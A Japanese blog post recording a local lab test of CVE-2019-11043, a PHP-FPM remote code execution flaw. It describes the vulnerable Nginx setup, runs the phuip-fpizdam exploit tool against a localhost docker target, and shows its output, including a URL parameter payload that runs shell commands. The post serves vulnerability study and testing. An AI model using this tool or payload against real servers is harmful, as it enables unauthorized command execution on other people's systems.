任意コード実行が可能なPHP-FPMの脆弱性(CVE-2019-11043)を試してみた
少し前に出たCVE-2019-11043という脆弱性を試してみました。すでに日本語解説記事もありますが備忘録ということで。
脆弱性概要
PHPのFastCGI 実装のひとつの PHP-FPM(FastCGI Process Manager)に任意コード実行が可能な脆弱性(CVE-2019-11043)が見つかりました。NginxとPHP-FPMで構成された環境において以下のような設定がされている場合に任意コード実行が可能でした。
- locationディレクティブでリクエストをPHP-FPMに転送するようになっている
- PATH_INFO変数を割り当てる際にfastcgi_paramディレクティブが使用されている
- fastcgi_split_path_infoディレクティブが存在し、
^
で始まり$
で終わる正規表現が用いられている try_files $uri=404
のようなファイルの有無を判断するためのチェックがない
例を挙げるとNginxに以下のようなconfigが設定され、PHP-FPMにリクエストを転送している場合です。
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
fastcgi_split_path_infoディレクティブに指定されている正規表現が改行コード%0A
を解釈すると、空のPHP_INFOがPHP-FPM
サーバーに送られます。
PHP-FPMがPHP_INFO の値を誤って処理することでバッファアンダーフローが発生し、最終的にPHPの実行環境の変数にリモートコード実行可能な設定を上書きすることができます。
詳しくは発見者がZeroNights2019で発表した以下のスライドを見てください。
https://github.com/neex/phuip-fpizdam/blob/master/ZeroNights2019.pdf
また、この脆弱性の修正コミットはこちらです。 github.com
- 7.1.x 〜 7.1.32
- 7.2.x 〜 7.2.23
- 7.3.x 〜 7.3.11
試してみる
実際に攻撃してみます。
環境
この脆弱性の発見者が作成したphuip-fpizdamというexplotツールと、 vulhubにある検証用のdocker-compose環境を使います。
この検証用のdocker-compose環境はbindingアドレスが0.0.0.0
となっていて、そのまま使うとネットワーク上の他のホストからアクセス可能な検証環境が出来てしまいます。docker-compose.ymlのportsの部分を127.0.0.1
を指定するように変更してから、docker-compose up -d
を実行すると自ホストのみに閉じた検証環境になります。
services: nginx: ... ports: - "127.0.0.1:8080:80" # 変更する行 ...
また、bindingアドレスが変更できているかどうかは、docker ps -a
で確認できます。8080番ポートでNginxサーバーが、9000番ポートでPHPプロセスがそれぞれ待ち受けています。
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e2779ab00718 nginx:1 "nginx -g 'daemon of…" 5 seconds ago Up 4 seconds 127.0.0.1:8080->80/tcp cve-2019-11043_nginx_1 e11c381f541b php:7.2.10-fpm "docker-php-entrypoi…" 6 seconds ago Up 5 seconds 9000/tcp cve-2019-11043_php_1
やる
http://127.0.0.1:8080でhello worldと返すだけの単純なPHPのCGIスクリプトが動いています。
こちらに対して、phuip-fpizdamコマンドを実行してみます。
$ phuip-fpizdam http://127.0.0.1:8080/index.php 2019/12/12 23:28:17 Base status code is 200 2019/12/12 23:28:17 Status code 502 for qsl=1800, adding as a candidate 2019/12/12 23:28:18 The target is probably vulnerable. Possible QSLs: [1790 1795 1800] 2019/12/12 23:28:19 Attack params found: --qsl 1795 --pisos 152 --skip-detect 2019/12/12 23:28:19 Trying to set "session.auto_start=0"... 2019/12/12 23:28:19 Detect() returned attack params: --qsl 1795 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/12/12 23:28:19 Performing attack using php.ini settings... 2019/12/12 23:28:19 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/12/12 23:28:19 Trying to cleanup /tmp/a... 2019/12/12 23:28:19 Done!
Success!と出たので攻撃に成功したようです。Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
とあるので、URLの末尾に?a=コマンド
というふうに付けてあげることで任意のコマンドを指定できるようです。
idコマンドを実行してみると以下のようになりました。
まとめ
簡単に任意のコマンドが実行できてしまう深刻な脆弱性でした。 開発者目線では怖い脆弱性ですが、ペンテスター目線では条件がきびしいものの、カジュアルに攻撃することができて有用な脆弱性だなーと思いました。 OSSに任意コード実行ができる脆弱性を見つけたいものですね。